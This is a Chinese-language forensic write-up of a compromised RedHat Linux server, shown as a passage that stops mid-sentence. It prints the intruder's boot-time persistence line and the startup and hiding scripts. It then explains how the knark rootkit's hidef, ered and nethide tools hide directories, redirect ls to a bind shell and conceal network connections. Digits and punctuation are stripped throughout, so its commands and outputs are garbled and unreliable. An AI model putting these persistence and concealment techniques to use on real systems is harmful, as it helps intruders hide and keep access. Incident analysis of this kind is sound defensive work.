一意外 时间下午 地点某台RedHat Linux机器 #uname a Linux *net # Mon Apr :: EDT iunknown 俺习惯性地先进到/etc/rcd/initd看了一下马上发现异状 #ls la …… rwxrxrx root root Mar netfs rwxrxrx root root Mar : network rwxrxrx root root Apr nfs …… 二初步检查 明显是个新手干的嘛network文件被人动过了咱们用stat命令看看先 #stat network File: network Size: Filetype: Regular File Mode: (/rwxrxrx) Uid: ( / root) Gid: ( / root) Device: Inode: Links: Access: Sun Mar :: (::) Modify: Sun Mar :: (::) Change: Sun Mar :: (::) 最后被人改动的时间是月号的凌晨让我们来看看他往文件里加了什么吧 #cat network …… /usr/lib/libddso 就是这么一句加在文件末尾看来的确是手段不甚高明瞧瞧这是个什么文件先 #file /usr/lib/libddso /usr/lib/libddso: ELF bit LSB executable Intel version dynamically linked (uses shared libs) not stripped 哦是个二进制的可执行文件执行下strings看是否眼熟 #strings /usr/lib/libddso /lib/ldlinuxso __gmon_start__ libcso system __deregister_frame_info _IO_stdin_used __libc_start_main __register_frame_info GLIBC_ PTRh /boot/pty/gosh <--------这条信息看上去比较有趣 哦,这就简单了嘛,俺看看这里面的路径: #cd /boot/.pty0 #cat go.sh #!/bin/bash f=`ls -al /boot | grep .pty0` if [ -n "$f" ]; then cd /boot/.pty0 ./mcd -q cd mech1 ./mech -f conf 1>/dev/null >/dev/null cd cd mech /mech f conf >/dev/null >/dev/null cd cd mech /mech f conf >/dev/null >/dev/null cd /sbin/insmod paraporto >/dev/null >/dev/null /sbin/insmod iBCSo >/dev/null >/dev/null /ascundesh fi 有点晕看不明白mcdmech这些东西是干嘛用的再看一下下一个脚本是什么 #cat ascundesh #!/bin/bash for proces in `/bin/cat /boot/pty/hdm`; do P=`/sbin/pidof $proces` if [ n $P ]; then killall $proces >/dev/hdm >/dev/hdm fi done for port in `/bin/cat /boot/pty/hdm`; do /nethide `/dechex $port` >/dev/hdm >/dev/hdm done for director in `/bin/cat /boot/pty/hdm`; do /hidef $director >/dev/hdm >/dev/hdm done 看到这里事情开始有趣了这似乎不是一个三流的scriptkiddle干的活嘛打个包拖回来先于是俺 #cd /boot #ls la total drwxrxrx root root Mar : drwxrxrx root root Mar : lrwxrwxrwx root root Sep Systemmap >Systemmap rwrr root root Apr Systemmap rwrr root root Sep boot rwrr root root Apr bootb rwrr root root Apr chainb rw root root Sep map lrwxrwxrwx root root Sep moduleinfo >moduleinfo rwrr root root Apr moduleinfo rwrr root root Apr os_db rwxrxrx root root Apr vmlinux lrwxrwxrwx root root Sep vmlinuz >vmlinuz rwrr root root Apr vmlinuz 咦事情更有趣了……居然没有看到pty的目录 #cd pty #ls laF total drwxrxrx root root Mar : / rwxrxrx root root Mar : ascundesh* rwxrxrx root root Mar : dechex* rwxrxrx root root Mar : ered* rwxrxrx root root Mar : gosh* rwxrxrx root root Mar : hidef* rwrr root root Mar : iBCSo rwrr root root Mar : mtgz rwxrxrx root root Mar : mcd* drwxrxrx root root Mar : mech/ drwxrxrx root root Mar : mech/ drwxrxrx root root Mar : mech/ rwxrxrx root root Mar : nethide* rwrr root root Mar : paraporto rwrr root root Mar : ssh_host_key rw root root Mar : ssh_random_seed rwrr root root Mar : sshd_config 看来是加载了某个lkm了比较讨厌 #/sbin/lsmod Module Size Used by nfsd (autoclean) lockd (autoclean) [nfsd] sunrpc (autoclean) [nfsd lockd] cx (autoclean) 这些是正常的lkm么?前三个模块跟rpc有关不知开了哪些rpc服务 #/usr/sbin/rpcinfo p localhost program vers proto port tcp rpcbind tcp status udp rquotad tcp mountd udp nfs tcp nlockmgr 原来如此难怪会被入侵该开的全开了不过也证明了nfsdlockdsunrpc这三个模块没问题了 再来看看网卡吧cx是网卡的驱动模块 #/sbin/ifconfig a /sbin/ifconfig a lo Link encap:Local Loopback inet addr: Bcast: Mask: UP LOOPBACK RUNNING MTU: Metric: RX packets: errors: dropped: overruns: TX packets: errors: dropped: overruns: eth Link encap:Mbps Ethernet HWaddr ::A::B: inet addr:**** Bcast:*** Mask: UP BROADCAST RUNNING MULTICAST MTU: Metric: RX packets: errors: dropped: overruns: TX packets: errors: dropped: overruns: Interrupt: Base address:xe #dmesg|grep eth eth: Com cB Cyclone baseTx at xe ::a::b:IRQ eth: Setting promiscuous mode device eth entered promiscuous mode 看来这些模块都是正常的但比较狠的就是——device eth enteredpromiscuousmode——看来这入侵者架了sniffer开听了但关键是现在这个入侵者加载了个俺看不到的家伙有些晕了……咦对了看看文件名先…… 三模块介绍 nethide?似乎有点印象……好吧到俺的一堆破烂里找找……咦找到一篇knarkhacking的文章里面有提到nethide先当下一个来玩玩吧有个版本号为knark的是对LinuxKernel 的行……咱们先看看这是什么样的内核模块 除了taskhackc之处所有这些文件都是基于knarko模块的正确加载 hidef用来隐藏你的文件或者目录你可以建立一个目录比如/boot/pty然后键入/hidef/boot/pty于是这这个目录便被隐藏起来并且连du之类的命令也不能找出它来同样的子目录下的任何文件也一样地被藏得天衣无缝 ered用来重定向执行某个程序比如说你把一个bindsh*ll 的程序拷到/boot/pty/bindsh*ll 然后可以用/ered /bin/ls/boot/pty/bindsh*ll 这样的命令将ls重定向到bindsh*ll 当然这样的话ls是没变但已经不能正确执行了如果要清除所有的命令重定向可以键入/ered c nethide用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程——netstat就是从这里面获取信息并 输出 |